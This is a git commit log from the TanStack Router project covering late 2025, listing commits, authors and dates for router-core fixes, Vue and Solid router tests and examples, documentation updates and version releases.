---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 21:18:22 +01:00
Birk Skyum
91b26b1577
test(vue-router): basic-esbuild-file-based (#6115)
* vue-router js-only

* esbuild

* disable tailwind

* basic-esbuild-file-based

* remove esbuild-plugin-vue-jsx

* reset js-only0-file

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 21:03:55 +01:00
Tanner Linsley
8a791e229b Merge branch 'main' of https://github.com/tanstack/router 2025-12-16 12:37:37 -07:00
Tanner Linsley
03aa67f106 docs: add comparison to sidebar 2025-12-16 12:37:35 -07:00
autofix-ci[bot]
df5d76c66a
ci: apply automated fixes 2025-12-16 19:33:15 +00:00
Tanner Linsley
1f29107609 Merge branch 'main' of https://github.com/tanstack/router 2025-12-16 12:32:13 -07:00
Tanner Linsley
3f1c2bbcb1 docs: add comparison 2025-12-16 12:32:05 -07:00
Birk Skyum
a13d10291a
test(vue-router): js-only-file-based (#6114)
* vue-basic-scroll-restoration

* vue-router js-only

* lockfile

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 19:10:50 +01:00
Birk Skyum
0385e650fa
test(vue-router): basic-scroll-restoration (#6113)
* vue-basic-scroll-restoration

* scroll restoration

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 19:05:06 +01:00
Birk Skyum
d27e202c74
test(vue-router): generator cli only (#6112)
* sentry integration vue

* vue-router-generator-cli-only

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 18:32:52 +01:00
Birk Skyum
7e9c2f0662
test(vue-router) sentry integration (#6111)
* sentry integration vue

* ci: apply automated fixes

* naming

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 18:19:02 +01:00
Birk Skyum
8e3c1bc3a6
test(vue-router) basepath file based (#6110)
* test(vue-router) basepath file based

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-16 17:53:20 +01:00
Birk Skyum
949c3f40d3
test(vue-router): virtual routes (#6109) 2025-12-16 17:32:02 +01:00
Birk Skyum
77c75085e7
test(vue-router): view transitions e2e (#6108) 2025-12-16 17:07:37 +01:00
Birk Skyum
4256268222
docs(solid-router): path-params - replace react with solid (#6103) 2025-12-15 20:24:54 +01:00
Birk Skyum
6fd176ae82
docs(solid-router): path params (#6096)
* docs(solid-router): path params

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-14 23:05:43 +01:00
s-r-x
2c40790b51
docs: fix createMiddleware usage examples in "Observability" guide (#6095) 2025-12-14 23:05:13 +01:00
Tanner Linsley
85bf22e578 release: v1.141.3 2025-12-13 00:39:03 +00:00
Manuel Schiller
e08e7ae07d
fix: validate server fn id during dev (#6087) 2025-12-13 01:27:48 +01:00
Tanner Linsley
19ecfe3bd1 release: v1.141.2 2025-12-12 19:30:53 +00:00
Manuel Schiller
20aac85d7f
fix: compare rewritten url to decide if server needs to redirect (#6072) 2025-12-12 20:28:58 +01:00
Birk Skyum
eccfd26988
e2e(vue-router): vue-query suites (#6083)
* e2e(vue-router): vue-query suites

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-12 17:40:57 +01:00
Almar Aubel
f5d2f2989d
docs: fixes to vue-router readme (#6077) 2025-12-12 10:32:05 +01:00
autofix-ci[bot]
f9be760991
ci: apply automated fixes 2025-12-12 07:01:36 +00:00
Tanner Linsley
a1f269fcac Merge branch 'main' of https://github.com/tanstack/router 2025-12-12 00:00:24 -07:00
Tanner Linsley
d8377c0d69 doc updates 2025-12-12 00:00:22 -07:00
Lachlan Collins
b1b8c9ed99
ci: move pnpm settings to pnpm-workspace.yaml (#6076) 2025-12-12 15:25:17 +11:00
Tanner Linsley
bcce02c2a7 release: v1.141.1 2025-12-11 19:43:30 +00:00
Manuel Schiller
636a71c0d7
fix: accumulate all parent context (#6070) 2025-12-11 20:40:13 +01:00
Tanner Linsley
7593e30a1d release: v1.141.0 2025-12-11 15:29:51 +00:00
Birk Skyum
4f64ab97e1
Vue start (#6055) 2025-12-11 15:55:28 +01:00
Birk Skyum
395d34d52b
lint(react-router): run linter (#6067)
* lint(react-router): run linter

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-11 15:36:12 +01:00
galarus
b1fb420827
Refactor path parameter usage in documentation (#6042)
Route.useParams() returns a signal accessor that needs to be called like a function in order to access its properties.
2025-12-11 00:44:55 +01:00
Tanner Linsley
82e80446fe release: v1.140.5 2025-12-10 20:01:18 +00:00
Manuel Schiller
9fe8c619a1
fix: include assets in route manifest for all routes (#6058) 2025-12-10 20:51:58 +01:00
Manuel Schiller
1bcd4faddc flaky test 2025-12-10 20:51:13 +01:00
Tanner Linsley
b6ab2a8236 release: v1.140.4 2025-12-10 19:46:19 +00:00
Manuel Schiller
53adf8688f
fix: handle server routes with exact match (#6059) 2025-12-10 20:44:20 +01:00
Tanner Linsley
64dea9dbe1 release: v1.140.3 2025-12-10 00:27:48 +00:00
Esteban Hidalgo
13beadd47a
fix(start): fix stream handling on cloudflare (#6024)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-10 01:18:13 +01:00
Tanner Linsley
5c0006f9d7 release: v1.140.2 2025-12-09 23:48:41 +00:00
Manuel Schiller
06de1f6777 flaky tests 2025-12-10 00:44:41 +01:00
JBR-0100
3cb451f0c3
fix(start): allow request middleware to return Response (#6006)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-12-10 00:09:35 +01:00
Tanner Linsley
52d7b881b0 release: v1.140.1 2025-12-09 20:19:39 +00:00
Manuel Schiller
e681a56f05
fix: commit route context (#6053)
Co-authored-by: Jakob Norlin <jakob.stahl91@gmail.com>
2025-12-09 21:17:36 +01:00
Shinya Fujino
98dc05073d
docs: fix database guide example to match Server Functions API (#5716) 2025-12-08 20:37:51 +01:00
Tanner Linsley
bfbe75cfd8 release: v1.140.0 2025-12-07 06:23:38 +00:00
Lachlan Collins
c7fc1108c0
chore(vue): disable CJS build (#6036)
* chore(vue): disable cjs

* Remove cjs exports
2025-12-07 12:20:59 +11:00
Lachlan Collins
e095841582 ci: bump node version 2025-12-07 11:43:14 +11:00
Lachlan Collins
43fd1328c5
fix: full npm registry URLs, sync package versions (#6035)
* Update repository URLs

* Start sherif fixes

* Fic CI
2025-12-07 11:37:18 +11:00
Birk Skyum
3d6aa41f58
Vue router (#5997) 2025-12-06 19:41:15 +01:00
Shinya Fujino
aac462109e
docs: fix typo and clarify generateFunctionId example (#5728) 2025-12-06 19:23:19 +01:00
Lachlan Collins
da69479377 examples: mark as private 2025-12-07 02:35:38 +11:00
Lachlan Collins
496c9320a2
ci: prepare for trusted publishing (#6032) 2025-12-07 02:02:49 +11:00
Arman
ec9044104f
chore(router-core): remove extra JSDoc comments for defaultParseSearch (#6020) 2025-12-07 01:46:20 +13:00
Shinya Fujino
5fa2cd37ca
docs(start): update the "reading-writing-file" tutorial (#6031) 2025-12-07 01:44:03 +13:00
Ender Bonnet
6d619da632
docs(examples): standardize the READMEs for the React examples (#6014)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-12-07 01:39:44 +13:00
Tanner Linsley
60eb86ebee release: v1.139.15 2025-12-05 21:18:28 +00:00
Yavnik Sharma
3d20d30579
docs: remove gitignore suggestion for generated route tree file (#6025)
docs: remove gitignore suggestion for generated routing files in start docs
2025-12-05 22:05:19 +01:00
vemoo
7d113ce0ef
fix(router-devtools): move vite to devDependencies (#6026) 2025-12-05 22:04:38 +01:00
Lachlan Collins
15f8e9c4b5
docs: correct local relative links (#6027)
* docs: correct local relative links

* Missing fixes

* Fix lockfile
2025-12-05 22:39:47 +11:00
Tanner Linsley
34d13e5d1f release: v1.139.14 2025-12-02 23:00:08 +00:00
Flo
a40f7aaab1
fix(router-core): matching competing optional routes uses proper fullPath for params extraction (#6015)
* fix(router-core): matching competing optional routes uses proper fullPath for params extraction

* remove debug console.log
2025-12-02 23:57:47 +01:00
Tanner Linsley
e6dc649878 release: v1.139.13 2025-12-02 16:42:35 +00:00
Hakan Shehu
24ff8955ab
fix(router-core): correctly resolve custom params from declarative masks when building the masked url (#5756)
* Use params from declarative masks

* Add tests for masks

* Include the necessary changes

* Update mask tests

* Add e2e tests

* minor nitpicks

---------

Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
2025-12-02 18:31:16 +02:00
Tanner Linsley
afb4b248c6 release: v1.139.12 2025-11-29 20:33:20 +00:00
Manuel Schiller
4d2fd33090
fix: more robust stream handling (#5996) 2025-11-29 21:31:13 +01:00
Tanner Linsley
09f25004f1 release: v1.139.11 2025-11-29 12:57:54 +00:00
Manuel Schiller
95d88a2a55
fix: fix streaming (#5994)
fixes #5992
2025-11-29 13:55:52 +01:00
Lachlan Collins
af02265784
ci(nx): update to Nx v22 (#5982) 2025-11-28 09:26:08 +11:00
Tanner Linsley
2d744636f4 release: v1.139.10 2025-11-27 21:23:35 +00:00
Manuel Schiller
def43615f4
fix: add whitespace when using nonce (#5981) 2025-11-27 22:21:37 +01:00
Tanner Linsley
192e44d12c release: v1.139.9 2025-11-27 20:15:13 +00:00
Manuel Schiller
bd3a2dc843
fix: fix hydration error by preservering script attrs (#5980) 2025-11-27 21:13:07 +01:00
Birk Skyum
430f268e50
test(start): test that multiple Set-Cookie headers are not lost during redirect (#5978) 2025-11-26 21:37:56 +01:00
Canmi
672f6cae11
docs: visual spacing glitch between badges. (#5444) 2025-11-26 20:10:57 +01:00
Tanner Linsley
7929964e7d release: v1.139.8 2025-11-26 14:57:42 +00:00
Birk Skyum
8323bf26d6
fix(start-server-core): h3 2.0.0-beta.5 (#5973)
* Revert "chore: bump h3-v2 to 2.0.1-rc.5 (#5959)"

This reverts commit 97afc67cb5.

* fix(start-server-core): h3 2.0.0-beta.5
2025-11-26 15:55:48 +01:00
Tanner Linsley
64500ef9e0 release: v1.139.7 2025-11-26 12:58:15 +00:00
Flo
17181991ff
fix(router-core): empty wilcard node is matched over sibling layout route (#5971) 2025-11-26 13:56:19 +01:00
Tanner Linsley
d7ba00cd44 release: v1.139.6 2025-11-25 20:26:55 +00:00
Manuel Schiller
c78fc25360
fix: cleanup references (#5965) 2025-11-25 21:16:01 +01:00
Tanner Linsley
3696aa6efb release: v1.139.5 2025-11-25 20:07:38 +00:00
Manuel Schiller
369a09b850
fix: no remounting with ssr:false (#5964) 2025-11-25 21:05:23 +01:00
Shruti Kapoor
e41cdf2dfb
Small update to guide on fetching external API (#5900)
* small fix to server function

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-25 11:22:08 -08:00
Tanner Linsley
8f3f7fc915 release: v1.139.4 2025-11-25 18:10:49 +00:00
Nico Lynzaad
2ae37028a0
fix(router-plugin): do not overwrite resolved generator config with unprocessed inline config (#5963)
* do not overwrite resolved config with unprocessed inline input

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-25 20:08:37 +02:00
Birk Skyum
d2f7ff44de
docs: link to react example 2025-11-25 16:38:58 +01:00
Birk Skyum
4437739e85
docs: start auth.js example (#5962)
* docs: start auth.js example

* ci: apply automated fixes

* bump start-authjs

* add auth.js to docs

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-25 15:55:05 +01:00
Birk Skyum
97afc67cb5
chore: bump h3-v2 to 2.0.1-rc.5 (#5959) 2025-11-25 01:18:04 +01:00
Birk Skyum
6e0de0a6cd
format: add missing .prettierignore files (#5951)
* format: worker-configuration

* cleanup

* ci: apply automated fixes

* delete generated files

* add worker-configuration.d.ts to gitignore

* prettierignore

* revert

* add missing prettier ignore files

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-24 11:29:31 +01:00
Tanner Linsley
a8b23bf742 release: v1.139.3 2025-11-23 00:39:36 +00:00
jihoon
c35f70ec3c
fix(router-core): useBlocker navigation issues for 404 pages and external URLs (#4917) 2025-11-23 01:29:13 +01:00
Shreyas Sarkar
8f5d93b58c
fix: Links always scroll to URL hash on hover (#5930) (#5944) 2025-11-23 01:05:34 +01:00
dt_emmy
3a14ffcea0
chore: Fixed the defaultNotFoundComponent as guided by #5757 (#5937)
* fix: Fixed the defaultNotFoundComponent as guided by  #5757

* ci: apply automated fixes

* fix: correct from <div> to <p> tag

* chore: added docstring to renderRouteNotFound.tsx for both react-router and solid-router

* ci: apply automated fixes

* chore: revert file changes by autofix-ci[bot]

* ci: apply automated fixes

* chore: cleanup documentation of not-found-errors.md

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-22 17:06:28 +01:00
Manuel Schiller
2fd4cbaa18
fix: allow to override serverfn method when using factories (#5938)
* fix: allow to override serverfn method when using factories

fixes: #5872

* solid e2e test

* format unrelated file
2025-11-22 10:53:50 +01:00
Tanner Linsley
ab676cb44f release: v1.139.2 2025-11-22 00:54:59 +00:00
autofix-ci[bot]
03e718b3cf
ci: apply automated fixes 2025-11-22 00:39:30 +00:00
Ethan Potts
2df807e43c
fix(start-server-core): deserialize tss context when using formdata (#5935)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-22 01:38:21 +01:00
Tanner Linsley
c347f78511 release: v1.139.1 2025-11-21 23:05:44 +00:00
Flo
62a761c0a7
fix(router-core): favor index matches, or deepest non-index (#5933) 2025-11-21 23:55:28 +01:00
Flo
5e130d7ee1
refactor(router-core): interpolatePath skips optional segments w/ nullish param value (#5934) 2025-11-21 23:55:16 +01:00
Sarah
bc79c9783b
docs: format callouts to put content on new line (#5927) 2025-11-21 14:53:18 +01:00
autofix-ci[bot]
c3af4b8433
ci: apply automated fixes 2025-11-21 03:20:32 +00:00
Santosh Venkatraman
d1acec538a
chore: dedupe JSDoc string for deprecated class FileRoute (#5916) 2025-11-21 16:18:29 +13:00
Tanner Linsley
3e6e9e79cc release: v1.139.0 2025-11-20 21:01:48 +00:00
autofix-ci[bot]
e59d8cd2b8
ci: apply automated fixes 2025-11-20 20:35:34 +00:00
Birk Skyum
d2e9e396ac
chore: bump seroval 1.4.0 (#5924) 2025-11-20 21:34:38 +01:00
Tanner Linsley
282cefb7e1 release: v1.138.0 2025-11-20 18:59:28 +00:00
Edmund Hung
9da55170e9
feat: prerender with vite preview server (#5921) 2025-11-20 19:46:52 +01:00
Birk Skyum
5e7ad4812a
update start-basic-auth project to prisma 7 (#5911)
* update solid-start auth example to prisma 7

* fix prisma example

* update solid-start e2e

* update e2e/example

* ci: apply automated fixes

* lock

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-20 19:44:02 +01:00
Birk Skyum
f139f1e2bd
docs: add vite preview to start e2e/examples (#5918) 2025-11-20 05:38:01 +01:00
Birk Skyum
6f06558afa
chore: use "preview" instead of "serve" to refer to "vite preview" (#5917) 2025-11-20 05:08:43 +01:00
Tanner Linsley
09de99642d release: v1.137.0 2025-11-20 03:12:45 +00:00
Edmund Hung
0dcc20ebac
feat(start-plugin-core): vite preview support (#5910)
* feat: add vite preview support

* test: vite preview with react and solid

---------

Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
2025-11-20 04:03:54 +01:00
Birk Skyum
eda2254a69
example: add srvx start command for launching prod build (#5915) 2025-11-20 00:37:46 +01:00
Birk Skyum
532669e8ef
examples: remove undocumented vite start command (#5914) 2025-11-20 00:19:43 +01:00
Tanner Linsley
8c08d879fb release: v1.136.18 2025-11-19 22:27:01 +00:00
vsh1h
93c4d6b989
fix(react-router): implicit navigations causes flicker during rendering (#5905)
Co-authored-by: vsh1h <vsh1h@users.noreply.github.com>
2025-11-20 11:18:20 +13:00
Tanner Linsley
292b82a208 release: v1.136.17 2025-11-19 20:54:29 +00:00
Flo
98d15a1115
refactor(router-core): trimPathRight more performant w/o trailing slash (#5909) 2025-11-19 21:46:02 +01:00
Tanner Linsley
823bf66840 release: v1.136.16 2025-11-19 20:17:44 +00:00
Remi
37eb416963
fix(router-core): Catch errors thrown during hydrate (#5686) 2025-11-19 21:06:05 +01:00
Tanner Linsley
1bdcc9da07 release: v1.136.15 2025-11-19 18:58:03 +00:00
Lee
6b235a7cec
fix: update error handling in MatchInner to access error data directly (#4746) 2025-11-19 19:46:29 +01:00
Tanner Linsley
a165006a8e release: v1.136.14 2025-11-19 17:17:24 +00:00
joseph0926
974b5c311b
fix(router-core): forward notFound/redirect from params.parse correctly (#5864) 2025-11-19 18:07:57 +01:00
Philipp Hoefflin
04f701f3df
chore: update xmlbuilder2 to v4.0.0 to fix npm audit vulnerabilitiy warnings (#5902) 2025-11-19 18:00:02 +01:00
Tanner Linsley
b1892ae969 release: v1.136.13 2025-11-19 16:43:56 +00:00
dt_emmy
fb0f069363
fix(router-core): Route with server function as loader that throws notFound crashes route on HMR #5763 (#5890) 2025-11-19 17:34:32 +01:00
Tanner Linsley
30eff519f1 release: v1.136.12 2025-11-19 12:39:33 +00:00
Birk Skyum
e93b712011
fix(solid-start): fix hydration regression in 1.136.9 (#5903) 2025-11-19 13:32:36 +01:00
Tanner Linsley
3a9716310c release: v1.136.11 2025-11-19 00:33:38 +00:00
Manuel Schiller
170074ab54 fix test 2025-11-19 01:26:24 +01:00
Manuel Schiller
03595c8701
fix: memory leaks (#5896) 2025-11-19 01:17:39 +01:00
Tanner Linsley
090bc660d6 release: v1.136.10 2025-11-18 23:04:56 +00:00
Dubzer
27d626f42c
fix: handle $&quot in defaultRenderHandler correctly (#5871) 2025-11-18 23:53:06 +01:00
Tanner Linsley
5f0e496587 release: v1.136.9 2025-11-18 22:39:49 +00:00
autofix-ci[bot]
5ca33d7c40
ci: apply automated fixes 2025-11-18 22:29:48 +00:00
Manuel Schiller
875d1d4cbb
fix: script streaming (#5895) 2025-11-18 23:28:55 +01:00
Birk Skyum
f830dffb74
test(router): remove flaky query transition test (#5883) 2025-11-16 19:27:33 +01:00
Tanner Linsley
cf73030e1a release: v1.136.8 2025-11-16 18:15:32 +00:00
Flo
dbc9cfe3b4
refactor(router-core): cache matched route branch alongside the rest of the route match (#5882) 2025-11-16 19:13:35 +01:00
Tanner Linsley
40b7576ff8 release: v1.136.7 2025-11-16 15:41:25 +00:00
Manuel Schiller
26b23381d5
fix: don't use alias for configuring ssr env input (#5881) 2025-11-16 16:27:16 +01:00
Tanner Linsley
c9836488f0 release: v1.136.6 2025-11-16 10:07:35 +00:00
Flo
41fac3fa64
refactor(router-core): findSingleMatch caches the trees it generate in an LRUCache, not a Map (#5878) 2025-11-16 11:04:27 +01:00
Flo
8994fc1896
test(router-core): add some missing unit-tests to the new processRouteTree (#5879) 2025-11-16 11:04:18 +01:00
Tanner Linsley
cdd2de3c6d release: v1.136.5 2025-11-15 12:46:51 +00:00
Flo
f39eb9b832
refactor(router-core): Process routeTree into segment tree instead of flatRoutes [WIP] (#5722) 2025-11-15 13:45:02 +01:00
Tanner Linsley
ccf5483c6f release: v1.136.4 2025-11-15 01:02:35 +00:00
Manuel Schiller
af77b55822
fix: cleanup streamed values (#5870) 2025-11-15 01:53:45 +01:00
Birk Skyum
559856b7bf
test(router): add view-transition e2e suites (#5869)
* test(router): add view-transition e2e suites

* ci: apply automated fixes

* setup suites

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-14 23:10:31 +01:00
Tanner Linsley
44069d131e release: v1.136.3 2025-11-14 19:48:54 +00:00
Flo
18edb31aa3
refactor(router-core): simplify decodePath implementation, improve performance (#5867)
* refactor(router-core): simplify decodePath implementation, improve performance

* simplify more
2025-11-14 20:46:53 +01:00
Tanner Linsley
a096ca1852 release: v1.136.2 2025-11-14 17:43:01 +00:00
Flo
965e653449
refactor(router-core): utils/decodePath minor performance improvements (#5865)
* refactor(router-core): utils/decodePath minor performance improvements

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-14 18:40:44 +01:00
Tanner Linsley
c05679e2af release: v1.136.1 2025-11-13 23:57:26 +00:00
Nico Lynzaad
f1bd5c589c
refactor(router-core): use original nextTo path when building location in its route form (#5851)
* fixes and tests

* standardize params output for empty optional params

* finalize leave params tests

* leave wildcard is no longer required

* remove leaveParams altogether

* leave changes to optional param output handling for a separate PR

* cleanup

* resolve build errors and nitpick
2025-11-14 01:55:39 +02:00
Tanner Linsley
a01b4d26c2 release: v1.136.0 2025-11-13 21:11:04 +00:00
Dominik Dorfmeister
30b45410e0
feat: createServerEntry (#5859) 2025-11-13 22:09:14 +01:00
Birk Skyum
dfb4f9af45
docs(solid-router): router-monorepo-simple-lazy example (#5853)
* docs(solid-router): router-monorepo-simple-lazy example

* lockfile

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-13 01:18:09 +01:00
Birk Skyum
1cc380172f
docs(solid-router): router-monorepo-simple example (#5852)
* docs(solid-router): router-monorepo-simple example

* delete extra lockfile

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-13 00:48:34 +01:00
Birk Skyum
606dd19561
docs(solid-router): monorepo-solid-query example (#5850)
* docs(solid-router): monorepo-solid-query example

* fix naming for solid

* handle lockfile

* link example

* fix syntax in json

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-13 00:02:13 +01:00
Birk Skyum
ecd9312f33
docs(solid-start): start-tailwind-v4 (#5849)
* docs(solid-start): start-tailwind-v4

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 23:51:57 +01:00
Birk Skyum
ec1e4d6274
docs(solid-router): search-validator-adapters (#5848) 2025-11-12 22:50:39 +01:00
Birk Skyum
ee241f34f2
docs(solid-start): start-large example (#5847)
* docs(solid-start): start-large example

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 21:01:37 +01:00
Birk Skyum
b5d7227677
docs(solid-start): i18n example (#5845)
docs(solid-start) i18n example
2025-11-12 20:40:34 +01:00
Birk Skyum
7492e6c1ff
docs(solid-router): i18n paraglide example (#5844)
* docs(solid-router): i18n paraglide example

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 20:24:00 +01:00
Birk Skyum
a5c7133a60
docs(solid-router): navigation-blocking example (#5843)
* docs(solid-router): navigation-blocking example

* link to example
2025-11-12 20:18:32 +01:00
Birk Skyum
36b16c59b8
docs(solid-router): large-file-based (#5842) 2025-11-12 20:03:01 +01:00
Birk Skyum
5a06540c93
docs(solid-router): location-masking example (#5841)
* docs(solid-router): location-masking example

* fix image links

* link to eaxmple
2025-11-12 19:58:18 +01:00
Birk Skyum
68054202c2
docs(solid-router): kitchensink example (#5840)
* docs(solid-router): kitchensink example

* add listing

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 19:34:05 +01:00
Birk Skyum
f581aa9e17
docs(solid-router): scroll restoration example (#5839)
* docs(solid-router): scroll restoration example

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 19:30:02 +01:00
halfstack
61ab402e9f
chore: fix devtools dependeicies (#5819)
fix dependeicies
2025-11-12 19:15:33 +01:00
Birk Skyum
9bb83188e4
docs(solid-router): deferred-data example (#5838)
* docs(solid-router): deferred-data example

* add to list in docs
2025-11-12 18:55:53 +01:00
Birk Skyum
63655785b5
docs(solid-start): add start-streaming-data-from-server-functions example (#5837)
* start-streaming-data-from-server-functions

* fix solid ssr

* renamse start-bare to start-counter

* lcokfile
2025-11-12 18:49:27 +01:00
Birk Skyum
85f9734b64
docs(solid-router): port remaining basic examples (#5836)
* basic-default-search-params

* basic-ssr-file-based

* basic-virtual

* order error comp

* add basic-ssr examples to overview

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 18:34:13 +01:00
Birk Skyum
17ec1803eb
docs(solid-router): rspack/build guides and example (#5834)
* docs(solid-router): add rspack docs

* add rspack docs

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 17:47:48 +01:00
Birk Skyum
71f9c7db42
docs(solid-router): webpack example and installation guide (#5833)
* webpack solid-router example

* use babel instead of swc

* solid docs

* solid docs

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 17:09:23 +01:00
Birk Skyum
d5ce04c9bf
docs(solid-router): esbuild guide/example (#5831) 2025-11-12 14:21:49 +01:00
Birk Skyum
80a9923f7c
docs(solid-router): quickstart example (code based) (#5830)
* docs(solid-router): quickstart example

* link new example

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 02:43:45 +01:00
Birk Skyum
9727eb47f7
docs(solid-router): add with-trpc example (#5829) 2025-11-12 02:30:30 +01:00
Birk Skyum
34f475e5ce
docs(solid-start): sync supabase example to react (#5828)
* docs(solid-start): sync supabase example to react

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 02:23:09 +01:00
Birk Skyum
cb4a646352
docs(solid-router): fix authenticated routes docs (#5827) 2025-11-12 01:35:35 +01:00
Birk Skyum
42f86c2efb
docs(solid-router): authenticated-routes-firebase (#5826)
* auth-firebase

* docs(solid-router): authenticated-routes-firebase

* add authenticated-routes to example overview

* solid example

* format

* ci: apply automated fixes

* call user function

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 01:21:22 +01:00
Birk Skyum
8f57746d28
docs(solid-router): authenticated-routes example (#5825) 2025-11-12 00:52:52 +01:00
Birk Skyum
f0e02799ce
docs(solid-start): sync nitro v3 hosting guide to react (#5824)
* docs(solid-start): sync nitro v3 hosting guide to react

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-12 00:14:28 +01:00
Pooya Parsa
33c3d405aa
docs(hosting): update nitro to v3 (#5821) 2025-11-12 00:03:55 +01:00
Birk Skyum
54042014c5
docs(solid-router): framer-motion example (#5818)
* docs(solid-router): framer-motion example

* ci: apply automated fixes

* add to examples

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-11 04:49:50 +01:00
Birk Skyum
7d4df72d40
docs(solid-start): hosting guide for bun (#5817) 2025-11-11 04:15:16 +01:00
autofix-ci[bot]
6d2a5da15a
ci: apply automated fixes 2025-11-11 03:06:45 +00:00
Birk Skyum
530289644d
docs(solid-start): start-bun example (#5816) 2025-11-11 04:05:50 +01:00
Birk Skyum
864a2e068a
docs(solid-router): port view-transitions example (#5815)
* docs(solid-router): port view-transition example

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-11 03:13:08 +01:00
Manuel Schiller
d0e33fa480
chore: bump deps (#5813) 2025-11-11 01:43:18 +01:00
Tanner Linsley
494bceb731 release: v1.135.2 2025-11-11 00:03:32 +00:00
Flo
043e57656d
refactor(router-core): simplify matchId (#5807)
* refactor(router-core): simplify matchId

* ci: apply automated fixes

* update tests

* matchId !== routeId

* nitpicks

* missed in solid router Match

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
2025-11-11 00:55:46 +01:00
Tanner Linsley
1a3bffa49e release: v1.135.1 2025-11-10 23:38:28 +00:00
Manuel Schiller
e04a393078
fix: generic env handling (#5811) 2025-11-11 00:36:06 +01:00
Birk Skyum
1b75808f37
test(router, start): query navigation transitions (#5802)
* test(router): test query transitions

* ci: apply automated fixes

* test start

* ci: apply automated fixes

* dim double click test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-10 00:17:53 +01:00
Tanner Linsley
edb5365b9f release: v1.135.0 2025-11-09 22:57:40 +00:00
daveycodez
a41e8677b8
feat: Export useHydrated hook with documentation (#5645)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-11-09 23:45:42 +01:00
Aryan Chaurasia
941e4e7242
(docs:fix) fixed cloudflare workers anchor link (#5723)
Fix cloudflare workers anchor link

